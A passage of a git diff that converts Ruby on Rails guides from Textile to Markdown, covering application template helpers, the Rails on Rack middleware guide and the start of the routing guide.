directory. +Similarly `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory. -There is even +file()+, which accepts a relative path from +Rails.root+ and creates all the directories/file needed: +There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/file needed: -<ruby> +```ruby file 'app/components/foo.rb', <<-CODE -class Foo -end + class Foo + end CODE -</ruby> +``` -That’ll create +app/components+ directory and put +foo.rb+ in there. +That’ll create `app/components` directory and put `foo.rb` in there. -h4. rakefile(filename, data = nil, &block) +### rakefile(filename, data = nil, &block) -Creates a new rake file under +lib/tasks+ with the supplied tasks: +Creates a new rake file under `lib/tasks` with the supplied tasks: -<ruby> +```ruby rakefile("bootstrap.rake") do <<-TASK namespace :boot do @@ -129,87 +132,87 @@ rakefile("bootstrap.rake") do end TASK end -</ruby> +``` -The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task. +The above creates `lib/tasks/bootstrap.rake` with a `boot:strap` rake task. -h4. generate(what, args) +### generate(what, args) Runs the supplied rails generator with given arguments. -<ruby> +```ruby generate(:scaffold, "person", "name:string", "address:text", "age:number") -</ruby> +``` -h4. run(command) +### run(command) -Executes an arbitrary command. Just like the backticks. Let's say you want to remove the +public/index.html+ file: +Executes an arbitrary command. Just like the backticks. Let's say you want to remove the `public/index.html` file: -<ruby> +```ruby run "rm public/index.html" -</ruby> +``` -h4. rake(command, options = {}) +### rake(command, options = {}) Runs the supplied rake tasks in the Rails application. Let's say you want to migrate the database: -<ruby> +```ruby rake "db:migrate" -</ruby> +``` You can also run rake tasks with a different Rails environment: -<ruby> +```ruby rake "db:migrate", :env => 'production' -</ruby> +``` -h4. route(routing_code) +### route(routing_code) -This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application: +This adds a routing entry to the `config/routes.rb` file. In above steps, we generated a person scaffold and also removed `public/index.html`. Now to make `PeopleController#index` as the default page for the application: -<ruby> +```ruby route "root :to => 'person#index'" -</ruby> +``` -h4. inside(dir) +### inside(dir) Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this: -<ruby> +```ruby inside('vendor') do run "ln -s ~/commit-rails/rails rails" end -</ruby> +``` -h4. ask(question) +### ask(question) -+ask()+ gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library you’re adding: +`ask()` gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library you’re adding: -<ruby> +```ruby lib_name = ask("What do you want to call the shiny library ?") lib_name << ".rb" unless lib_name.index(".rb") lib lib_name, <<-CODE -class Shiny -end + class Shiny + end CODE -</ruby> +``` -h4. yes?(question) or no?(question) +### yes?(question) or no?(question) These methods let you ask questions from templates and decide the flow based on the user’s answer. Lets say you want to freeze rails only if the user want to: -<ruby> +```ruby rake("rails:freeze:gems") if yes?("Freeze rails gems ?") -no?(question) acts just the opposite. -</ruby> +# no?(question) acts just the opposite. +``` -h4. git(:command) +### git(:command) Rails templates let you run any git command: -<ruby> +```ruby git :init git :add => "." git :commit => "-a -m 'Initial commit'" -</ruby> +``` diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md new file mode 100644 index 0000000000..0e59395c8a --- /dev/null +++ b/guides/source/rails_on_rack.md @@ -0,0 +1,346 @@ +Rails on Rack +============= + +This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to: + +* Create Rails Metal applications +* Use Rack Middlewares in your Rails applications +* Understand Action Pack's internal Middleware stack +* Define a custom Middleware stack + +-------------------------------------------------------------------------------- + +WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and `Rack::Builder`. + +Introduction to Rack +-------------------- + +bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call. + +- [Rack API Documentation](http://rack.rubyforge.org/doc/) + +Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the [Resources](#resources) section below. + +Rails on Rack +------------- + +### Rails Application's Rack Object + +`ApplicationName::Application` is the primary Rack application object of a Rails application. Any Rack compliant web server should be using `ApplicationName::Application` object to serve a Rails application. + +### `rails server` + +`rails server` does the basic job of creating a `Rack::Server` object and starting the webserver. + +Here's how `rails server` creates an instance of `Rack::Server` + +```ruby +Rails::Server.new.tap { |server| + require APP_PATH + Dir.chdir(Rails.application.root) + server.start +} +``` + +The `Rails::Server` inherits from `Rack::Server` and calls the `Rack::Server#start` method this way: + +```ruby +class Server < ::Rack::Server + def start + ... + super + end +end +``` + +Here's how it loads the middlewares: + +```ruby +def middleware + middlewares = [] + middlewares << [Rails::Rack::Debugger] if options[:debugger] + middlewares << [::Rack::ContentLength] + Hash.new(middlewares) +end +``` + +`Rails::Rack::Debugger` is primarily useful only in the development environment. The following table explains the usage of the loaded middlewares: + +| Middleware | Purpose | +| ----------------------- | --------------------------------------------------------------------------------- | +| `Rails::Rack::Debugger` | Starts Debugger | +| `Rack::ContentLength` | Counts the number of bytes in the response and set the HTTP Content-Length header | + +### `rackup` + +To use `rackup` instead of Rails' `rails server`, you can put the following inside `config.ru` of your Rails application's root directory: + +```ruby +# Rails.root/config.ru +require "config/environment" + +use Rack::Debugger +use Rack::ContentLength +run ApplicationName::Application +``` + +And start the server: + +```bash +$ rackup config.ru +``` + +To find out more about different `rackup` options: + +```bash +$ rackup --help +``` + +Action Dispatcher Middleware Stack +---------------------------------- + +Many of Action Dispatchers's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application. + +NOTE: `ActionDispatch::MiddlewareStack` is Rails' equivalent of `Rack::Builder`, but built for better flexibility and more features to meet Rails' requirements. + +### Inspecting Middleware Stack + +Rails has a handy rake task for inspecting the middleware stack in use: + +```bash +$ rake middleware +``` + +For a freshly generated Rails application, this might produce something like: + +```ruby +use ActionDispatch::Static +use Rack::Lock +use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838> +use Rack::Runtime +use Rack::MethodOverride +use ActionDispatch::RequestId +use Rails::Rack::Logger +use ActionDispatch::ShowExceptions +use ActionDispatch::DebugExceptions +use ActionDispatch::RemoteIp +use ActionDispatch::Reloader +use ActionDispatch::Callbacks +use ActiveRecord::ConnectionAdapters::ConnectionManagement +use ActiveRecord::QueryCache +use ActionDispatch::Cookies +use ActionDispatch::Session::CookieStore +use ActionDispatch::Flash +use ActionDispatch::ParamsParser +use ActionDispatch::Head +use Rack::ConditionalGet +use Rack::ETag +use ActionDispatch::BestStandardsSupport +run ApplicationName::Application.routes +``` + +Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section. + +### Configuring Middleware Stack + +Rails provides a simple configuration interface `config.middleware` for adding, removing and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`. + +#### Adding a Middleware + +You can add a new middleware to the middleware stack using any of the following methods: + +* `config.middleware.use(new_middleware, args)` - Adds the new middleware at the bottom of the middleware stack. + +* `config.middleware.insert_before(existing_middleware, new_middleware, args)` - Adds the new middleware before the specified existing middleware in the middleware stack. + +* `config.middleware.insert_after(existing_middleware, new_middleware, args)` - Adds the new middleware after the specified existing middleware in the middleware stack. + +```ruby +# config/application.rb + +# Push Rack::BounceFavicon at the bottom +config.middleware.use Rack::BounceFavicon + +# Add Lifo::Cache after ActiveRecord::QueryCache. +# Pass { :page_cache => false } argument to Lifo::Cache. +config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false +``` + +#### Swapping a Middleware + +You can swap an existing middleware in the middleware stack using `config.middleware.swap`. + +```ruby +# config/application.rb + +# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions +config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions +``` + +#### Middleware Stack is an Enumerable + +The middleware stack behaves just like a normal `Enumerable`. You can use any `Enumerable` methods to manipulate or interrogate the stack. The middleware stack also implements some `Array` methods including `[]`, `unshift` and `delete`. Methods described in the section above are just convenience methods. + +Append following lines to your application configuration: + +```ruby +# config/application.rb +config.middleware.delete "Rack::Lock" +``` + +And now if you inspect the middleware stack, you'll find that `Rack::Lock` will not be part of it. + +```bash +$ rake middleware +(in /Users/lifo/Rails/blog) +use ActionDispatch::Static +use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8> +use Rack::Runtime +... +run Blog::Application.routes +``` + +If you want to remove session related middleware, do the following: + +```ruby +# config/application.rb +config.middleware.delete "ActionDispatch::Cookies" +config.middleware.delete "ActionDispatch::Session::CookieStore" +config.middleware.delete "ActionDispatch::Flash" +``` + +And to remove browser related middleware, + +```ruby +# config/application.rb +config.middleware.delete "ActionDispatch::BestStandardsSupport" +config.middleware.delete "Rack::MethodOverride" +``` + +### Internal Middleware Stack + +Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them: + + **`ActionDispatch::Static`** + +* Used to serve static assets. Disabled if `config.serve_static_assets` is true. + + **`Rack::Lock`** + +* Sets `env["rack.multithread"]` flag to `true` and wraps the application within a Mutex. + + **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`** + +* Used for memory caching. This cache is not thread safe. + + **`Rack::Runtime`** + +* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request. + + **`Rack::MethodOverride`** + +* Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types. + + **`ActionDispatch::RequestId`** + +* Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method. + + **`Rails::Rack::Logger`** + +* Notifies the logs that the request has began. After request is complete, flushes all the logs. + + **`ActionDispatch::ShowExceptions`** + +* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user. + + **`ActionDispatch::DebugExceptions`** + +* Responsible for logging exceptions and showing a debugging page in case the request is local. + + **`ActionDispatch::RemoteIp`** + +* Checks for IP spoofing attacks. + + **`ActionDispatch::Reloader`** + +* Provides prepare and cleanup callbacks, intended to assist with code reloading during development. + + **`ActionDispatch::Callbacks`** + +* Runs the prepare callbacks before serving the request. + + **`ActiveRecord::ConnectionAdapters::ConnectionManagement`** + +* Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`. + + **`ActiveRecord::QueryCache`** + +* Enables the Active Record query cache. + + **`ActionDispatch::Cookies`** + +* Sets cookies for the request. + + **`ActionDispatch::Session::CookieStore`** + +* Responsible for storing the session in cookies. + + **`ActionDispatch::Flash`** + +* Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value. + + **`ActionDispatch::ParamsParser`** + +* Parses out parameters from the request into `params`. + + **`ActionDispatch::Head`** + +* Converts HEAD requests to `GET` requests and serves them as so. + + **`Rack::ConditionalGet`** + +* Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed. + + **`Rack::ETag`** + +* Adds ETag header on all String bodies. ETags are used to validate cache. + + **`ActionDispatch::BestStandardsSupport`** + +* Enables “best standards support” so that IE8 renders some elements correctly. + +TIP: It's possible to use any of the above middlewares in your custom Rack stack. + +### Using Rack Builder + +The following shows how to replace use `Rack::Builder` instead of the Rails supplied `MiddlewareStack`. + +<strong>Clear the existing Rails middleware stack</strong> + +```ruby +# config/application.rb +config.middleware.clear +``` + +<br /> +<strong>Add a `config.ru` file to `Rails.root`</strong> + +```ruby +# config.ru +use MyOwnStackFromScratch +run ApplicationName::Application +``` + +Resources +--------- + +### Learning Rack + +* [Official Rack Website](http://rack.github.com) +* [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html) +* [Ruby on Rack #1 - Hello Rack!](http://m.onkey.org/ruby-on-rack-1-hello-rack) +* [Ruby on Rack #2 - The Builder](http://m.onkey.org/ruby-on-rack-2-the-builder) + +### Understanding Middlewares + +* [Railscast on Rack Middlewares](http://railscasts.com/episodes/151-rack-middleware) diff --git a/guides/source/rails_on_rack.textile b/guides/source/rails_on_rack.textile deleted file mode 100644 index 63712b22ef..0000000000 --- a/guides/source/rails_on_rack.textile +++ /dev/null @@ -1,318 +0,0 @@ -h2. Rails on Rack - -This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to: - -* Create Rails Metal applications -* Use Rack Middlewares in your Rails applications -* Understand Action Pack's internal Middleware stack -* Define a custom Middleware stack - -endprologue. - -WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and +Rack::Builder+. - -h3. Introduction to Rack - -bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call. - -- "Rack API Documentation":http://rack.rubyforge.org/doc/ - -Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the "Resources":#resources section below. - -h3. Rails on Rack - -h4. Rails Application's Rack Object - -<tt>ApplicationName::Application</tt> is the primary Rack application object of a Rails application. Any Rack compliant web server should be using +ApplicationName::Application+ object to serve a Rails application. - -h4. +rails server+ - -<tt>rails server</tt> does the basic job of creating a +Rack::Server+ object and starting the webserver. - -Here's how +rails server+ creates an instance of +Rack::Server+ - -<ruby> -Rails::Server.new.tap { |server| - require APP_PATH - Dir.chdir(Rails.application.root) - server.start -} -</ruby> - -The +Rails::Server+ inherits from +Rack::Server+ and calls the +Rack::Server#start+ method this way: - -<ruby> -class Server < ::Rack::Server - def start - ... - super - end -end -</ruby> - -Here's how it loads the middlewares: - -<ruby> -def middleware - middlewares = [] - middlewares << [Rails::Rack::Debugger] if options[:debugger] - middlewares << [::Rack::ContentLength] - Hash.new(middlewares) -end -</ruby> - -+Rails::Rack::Debugger+ is primarily useful only in the development environment. The following table explains the usage of the loaded middlewares: - -|_.Middleware|_.Purpose| -|+Rails::Rack::Debugger+|Starts Debugger| -|+Rack::ContentLength+|Counts the number of bytes in the response and set the HTTP Content-Length header| - -h4. +rackup+ - -To use +rackup+ instead of Rails' +rails server+, you can put the following inside +config.ru+ of your Rails application's root directory: - -<ruby> -# Rails.root/config.ru -require "config/environment" - -use Rack::Debugger -use Rack::ContentLength -run ApplicationName::Application -</ruby> - -And start the server: - -<shell> -$ rackup config.ru -</shell> - -To find out more about different +rackup+ options: - -<shell> -$ rackup --help -</shell> - -h3. Action Dispatcher Middleware Stack - -Many of Action Dispatchers's internal components are implemented as Rack middlewares. +Rails::Application+ uses +ActionDispatch::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application. - -NOTE: +ActionDispatch::MiddlewareStack+ is Rails' equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements. - -h4. Inspecting Middleware Stack - -Rails has a handy rake task for inspecting the middleware stack in use: - -<shell> -$ rake middleware -</shell> - -For a freshly generated Rails application, this might produce something like: - -<ruby> -use ActionDispatch::Static -use Rack::Lock -use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838> -use Rack::Runtime -use Rack::MethodOverride -use ActionDispatch::RequestId -use Rails::Rack::Logger -use ActionDispatch::ShowExceptions -use ActionDispatch::DebugExceptions -use ActionDispatch::RemoteIp -use ActionDispatch::Reloader -use ActionDispatch::Callbacks -use ActiveRecord::ConnectionAdapters::ConnectionManagement -use ActiveRecord::QueryCache -use ActionDispatch::Cookies -use ActionDispatch::Session::CookieStore -use ActionDispatch::Flash -use ActionDispatch::ParamsParser -use ActionDispatch::Head -use Rack::ConditionalGet -use Rack::ETag -use ActionDispatch::BestStandardsSupport -run ApplicationName::Application.routes -</ruby> - -Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section. - -h4. Configuring Middleware Stack - -Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +application.rb+ or the environment specific configuration file <tt>environments/<environment>.rb</tt>. - -h5. Adding a Middleware - -You can add a new middleware to the middleware stack using any of the following methods: - -* <tt>config.middleware.use(new_middleware, args)</tt> - Adds the new middleware at the bottom of the middleware stack. - -* <tt>config.middleware.insert_before(existing_middleware, new_middleware, args)</tt> - Adds the new middleware before the specified existing middleware in the middleware stack. - -* <tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> - Adds the new middleware after the specified existing middleware in the middleware stack. - -<ruby> -# config/application.rb - -# Push Rack::BounceFavicon at the bottom -config.middleware.use Rack::BounceFavicon - -# Add Lifo::Cache after ActiveRecord::QueryCache. -# Pass { :page_cache => false } argument to Lifo::Cache. -config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false -</ruby> - -h5. Swapping a Middleware - -You can swap an existing middleware in the middleware stack using +config.middleware.swap+. - -<ruby> -# config/application.rb - -# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions -config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions -</ruby> - -h5. Middleware Stack is an Enumerable - -The middleware stack behaves just like a normal +Enumerable+. You can use any +Enumerable+ methods to manipulate or interrogate the stack. The middleware stack also implements some +Array+ methods including <tt>[]</tt>, +unshift+ and +delete+. Methods described in the section above are just convenience methods. - -Append following lines to your application configuration: - -<ruby> -# config/application.rb -config.middleware.delete "Rack::Lock" -</ruby> - -And now if you inspect the middleware stack, you'll find that +Rack::Lock+ will not be part of it. - -<shell> -$ rake middleware -(in /Users/lifo/Rails/blog) -use ActionDispatch::Static -use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8> -use Rack::Runtime -... -run Blog::Application.routes -</shell> - -If you want to remove session related middleware, do the following: - -<ruby> -# config/application.rb -config.middleware.delete "ActionDispatch::Cookies" -config.middleware.delete "ActionDispatch::Session::CookieStore" -config.middleware.delete "ActionDispatch::Flash" -</ruby> - -And to remove browser related middleware, - -<ruby> -# config/application.rb -config.middleware.delete "ActionDispatch::BestStandardsSupport" -config.middleware.delete "Rack::MethodOverride" -</ruby> - -h4. Internal Middleware Stack - -Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them: - - *+ActionDispatch::Static+* -* Used to serve static assets. Disabled if <tt>config.serve_static_assets</tt> is true. - - *+Rack::Lock+* -* Sets <tt>env["rack.multithread"]</tt> flag to +true+ and wraps the application within a Mutex. - - *+ActiveSupport::Cache::Strategy::LocalCache::Middleware+* -* Used for memory caching. This cache is not thread safe. - - *+Rack::Runtime+* -* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request. - - *+Rack::MethodOverride+* -* Allows the method to be overridden if <tt>params[:_method]</tt> is set. This is the middleware which supports the PUT and DELETE HTTP method types. - - *+ActionDispatch::RequestId+* -* Makes a unique +X-Request-Id+ header available to the response and enables the <tt>ActionDispatch::Request#uuid</tt> method. - - *+Rails::Rack::Logger+* -* Notifies the logs that the request has began. After request is complete, flushes all the logs. - - *+ActionDispatch::ShowExceptions+* -* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user. - - *+ActionDispatch::DebugExceptions+* -* Responsible for logging exceptions and showing a debugging page in case the request is local. - - *+ActionDispatch::RemoteIp+* -* Checks for IP spoofing attacks. - - *+ActionDispatch::Reloader+* -* Provides prepare and cleanup callbacks, intended to assist with code reloading during development. - - *+ActionDispatch::Callbacks+* -* Runs the prepare callbacks before serving the request. - - *+ActiveRecord::ConnectionAdapters::ConnectionManagement+* -* Cleans active connections after each request, unless the <tt>rack.test</tt> key in the request environment is set to +true+. - - *+ActiveRecord::QueryCache+* -* Enables the Active Record query cache. - - *+ActionDispatch::Cookies+* -* Sets cookies for the request. - - *+ActionDispatch::Session::CookieStore+* -* Responsible for storing the session in cookies. - - *+ActionDispatch::Flash+* -* Sets up the flash keys. Only available if <tt>config.action_controller.session_store</tt> is set to a value. - - *+ActionDispatch::ParamsParser+* -* Parses out parameters from the request into <tt>params</tt>. - - *+ActionDispatch::Head+* -* Converts HEAD requests to +GET+ requests and serves them as so. - - *+Rack::ConditionalGet+* -* Adds support for "Conditional +GET+" so that server responds with nothing if page wasn't changed. - - *+Rack::ETag+* -* Adds ETag header on all String bodies. ETags are used to validate cache. - - *+ActionDispatch::BestStandardsSupport+* -* Enables “best standards support” so that IE8 renders some elements correctly. - -TIP: It's possible to use any of the above middlewares in your custom Rack stack. - -h4. Using Rack Builder - -The following shows how to replace use +Rack::Builder+ instead of the Rails supplied +MiddlewareStack+. - -<strong>Clear the existing Rails middleware stack</strong> - -<ruby> -# config/application.rb -config.middleware.clear -</ruby> - -<br /> -<strong>Add a +config.ru+ file to +Rails.root+</strong> - -<ruby> -# config.ru -use MyOwnStackFromScratch -run ApplicationName::Application -</ruby> - -h3. Resources - -h4. Learning Rack - -* "Official Rack Website":http://rack.github.com -* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html -* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/ruby-on-rack-1-hello-rack -* "Ruby on Rack #2 - The Builder":http://m.onkey.org/ruby-on-rack-2-the-builder - -h4. Understanding Middlewares - -* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware diff --git a/guides/source/routing.md b/guides/source/routing.md new file mode 100644 index 0000000000..27fd2a35c4 --- /dev/null +++ b/guides/source/routing.md @@ -0,0 +1,967 @@ +Rails Routing from the Outside In +================================= + +This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to: + +* Understand the code in `routes.rb` +* Construct your own routes, using either the preferred resourceful style or the `match` method +* Identify what parameters to expect an action to receive +* Automatically create paths and URLs using route helpers +* Use advanced techniques such as constraints and Rack endpoints + +-------------------------------------------------------------------------------- + +The Purpose of the Rails Router +------------------------------- + +The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views. + +### Connecting URLs to Code + +When your Rails application receives an incoming request + +``` +GET /patients/17 +``` + +it asks the router to match it to a controller action. If the first matching route is + +```ruby +get "/patients/:id" => "patients#show" +``` + +the request is dispatched to the `patients` controller's `show` action with `{ :id => "17" }` in `params`. + +### Generating Paths and URLs from Code + +You can also generate paths and URLs. If the route above is modified to be + +```ruby +get "/patients/:id" => "patients#show", :as => "patient" +``` + +If your application contains this code: + +```ruby +@patient = Patient.find(17) +``` + +```erb +<%= link_to "Patient Record", patient_path(@patient) %> +``` + +The router will generate the path `/patients/17`. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper. + +Resource Routing: the Rails Default +----------------------------------- + +Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your `index`, `show`, `new`, `edit`, `create`, `update` and `destroy` actions, a resourceful route declares them in a single line of code. + +### Resources on the Web + +Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as `GET`, `POST`, `PATCH`, `PUT` and `DELETE`. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller. + +When your Rails application receives an incoming request for + +``` +DELETE /photos/17 +``` + +it asks the router to map it to a controller action. If the first matching route is + +```ruby +resources :photos +``` + +Rails would dispatch that request to the `destroy` method on the `photos` controller with `{ :id => "17" }` in `params`. + +### CRUD, Verbs, and Actions + +In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as + +```ruby +resources :photos +``` + +creates seven different routes in your application, all mapping to the `Photos` controller: + +| HTTP Verb | Path | action | used for | +| --------- | ---------------- | ------- | -------------------------------------------- | +| GET | /photos | index | display a list of all photos | +| GET | /photos/new | new | return an HTML form for creating a new photo | +| POST | /photos | create | create a new photo | +| GET | /photos/:id | show | display a specific photo | +| GET | /photos/:id/edit | edit | return an HTML form for editing a photo | +| PATCH/PUT | /photos/:id | update | update a specific photo | +| DELETE | /photos/:id | destroy | delete a specific photo | + +NOTE: Rails routes are matched in the order they are specified, so if you have a `resources :photos` above a `get 'photos/poll'` the `show` action's route for the `resources` line will be matched before the `get` line. To fix this, move the `get` line **above** the `resources` line so that it is matched first. + +### Paths and URLs + +Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of `resources :photos`: + +* `photos_path` returns `/photos` +* `new_photo_path` returns `/photos/new` +* `edit_photo_path(:id)` returns `/photos/:id/edit` (for instance, `edit_photo_path(10)` returns `/photos/10/edit`) +* `photo_path(:id)` returns `/photos/:id` (for instance, `photo_path(10)` returns `/photos/10`) + +Each of these helpers has a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port and path prefix. + +NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions. + +### Defining Multiple Resources at the Same Time + +If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to `resources`: + +```ruby +resources :photos, :books, :videos +``` + +This works exactly the same as + +```ruby +resources :photos +resources :books +resources :videos +``` + +### Singular Resources + +Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like `/profile` to always show the profile of the currently logged in user. In this case, you can use a singular resource to map `/profile` (rather than `/profile/:id`) to the `show` action. + +```ruby +get "profile" => "users#show" +``` + +This resourceful route + +```ruby +resource :geocoder +``` + +creates six different routes in your application, all mapping to the `Geocoders` controller: + +| HTTP Verb | Path | action | used for | +| --------- | -------------- | ------- | --------------------------------------------- | +| GET | /geocoder/new | new | return an HTML form for creating the geocoder | +| POST | /geocoder | create | create the new geocoder | +| GET | /geocoder | show | display the one and only geocoder resource | +| GET | /geocoder/edit | edit | return an HTML form for editing the geocoder | +| PATCH/PUT | /geocoder | update | update the one and only geocoder resource | +| DELETE | /geocoder | destroy | delete the geocoder resource | + +NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. + +A singular resourceful route generates these helpers: + +* `new_geocoder_path` returns `/geocoder/new` +* `edit_geocoder_path` returns `/geocoder/edit` +* `geocoder_path` returns `/geocoder` + +As with plural resources, the same helpers ending in `_url` will also include the host, port and path prefix. + +### Controller Namespaces and Routing + +You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an `Admin::` namespace. You would place these controllers under the `app/controllers/admin` directory, and you can group them together in your router: + +```ruby +namespace :admin do + resources :posts, :comments +end +``` + +This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create: + +| HTTP Verb | Path | action | used for | +| --------- | --------------------- | ------- | ------------------------- | +| GET | /admin/posts | index | admin_posts_path | +| GET | /admin/posts/new | new | new_admin_post_path | +| POST | /admin/posts | create | admin_posts_path | +| GET | /admin/posts/:id | show | admin_post_path(:id) | +| GET | /admin/posts/:id/edit | edit | edit_admin_post_path(:id) | +| PATCH/PUT | /admin/posts/:id | update | admin_post_path(:id) | +| DELETE | /admin/posts/:id | destroy | admin_post_path(:id) | + +If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use + +```ruby +scope :module => "admin" do + resources :posts, :comments +end +``` + +or, for a single case + +```ruby +resources :posts, :module => "admin" +``` + +If you want to route `/admin/posts` to `PostsController` (without the `Admin::` module prefix), you could use + +```ruby +scope "/admin" do + resources :posts, :comments +end +``` + +or, for a single case + +```ruby +resources :posts, :path => "/admin/posts" +``` + +In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`: + +| HTTP Verb | Path | action | named helper | +| --------- | --------------------- | ------- | ------------------- | +| GET | /admin/posts | index | posts_path | +| GET | /admin/posts/new | new | new_post_path | +| POST | /admin/posts | create | posts_path | +| GET | /admin/posts/:id | show | post_path(:id) | +| GET | /admin/posts/:id/edit | edit | edit_post_path(:id) | +| PATCH/PUT | /admin/posts/:id | update | post_path(:id) | +| DELETE | /admin/posts/:id | destroy | post_path(:id) | + +### Nested Resources + +It's common to have resources that are logically children of other resources. For example, suppose your application includes these models: + +```ruby +class Magazine < ActiveRecord::Base + has_many :ads +end + +class Ad < ActiveRecord::Base + belongs_to :magazine +end +``` + +Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration: + +```ruby +resources :magazines do + resources :ads +end +``` + +In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine: + +| HTTP Verb | Path | action | used for | +| --------- | ------------------------------------ | ------- | -------------------------------------------------------------------------- | +| GET | /magazines/:magazine_id/ads | index | display a list of all ads for a specific magazine | +| GET | /magazines/:magazine_id/ads/new | new | return an HTML form for creating a new ad belonging to a specific magazine | +| POST | /magazines/:magazine_id/ads | create | create a new ad belonging to a specific magazine | +| GET | /magazines/:magazine_id/ads/:id | show | display a specific ad belonging to a specific magazine | +| GET | /magazines/:magazine_id/ads/:id/edit | edit | return an HTML form for editing an ad belonging to a specific magazine | +| PATCH/PUT | /magazines/:magazine_id/ads/:id | update | update a specific ad belonging to a specific magazine | +| DELETE | /magazines/:magazine_id/ads/:id | destroy | delete a specific ad belonging to a specific magazine | + +This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`). + +#### Limits to Nesting + +You can nest resources within other nested resources if you like. For example: + +```ruby +resources :publishers do + resources :magazines do + resources :photos + end +end +``` + +Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as + +``` +/publishers/1/magazines/2/photos/3 +``` + +The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular [article](http://weblog.jamisbuck.org/2007/2/5/nesting-resources) by Jamis Buck proposes a rule of thumb for good Rails design: + +TIP: _Resources should never be nested more than 1 level deep._ + +### Routing concerns + +Routing Concerns allows you to declare common routes that can be reused inside others resources and routes. + +```ruby +concern :commentable do + resources :comments +end + +concern :image_attachable do + resources :images, only: :index +end +``` + +These concerns can be used in resources to avoid code duplication and share behavior across routes. + +```ruby +resources :messages, concerns: :commentable 